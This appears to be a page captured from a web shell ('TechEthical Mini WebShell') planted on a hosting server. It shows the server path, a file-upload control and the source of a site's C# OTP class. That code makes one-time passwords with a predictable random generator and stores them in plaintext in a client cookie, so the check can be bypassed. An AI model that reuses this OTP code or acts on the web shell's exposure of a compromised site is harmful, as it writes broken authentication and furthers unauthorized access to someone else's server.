TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/send_otp.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.IO;

using System.Data;
using System.Data.SqlClient;
using System.Configuration;

namespace Directory
{
    public class send_otp
    {
        public HttpCookie otp_random(int min=1111,int max=9999,int time_minutes=10)
        {           

            Random r = new Random();
            int num = r.Next(min, max);

            HttpCookie cookie = new HttpCookie("otp");
            cookie.Value = "" + num;
            cookie.Expires = DateTime.Now.AddMinutes(time_minutes);

            return (cookie);             
        }


        public long getOTP(int min = 1111, int max = 9999, int time_minutes = 10)
        {

            Random r = new Random();
            int num = r.Next(min, max);

           return num;

        }

    }
}

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3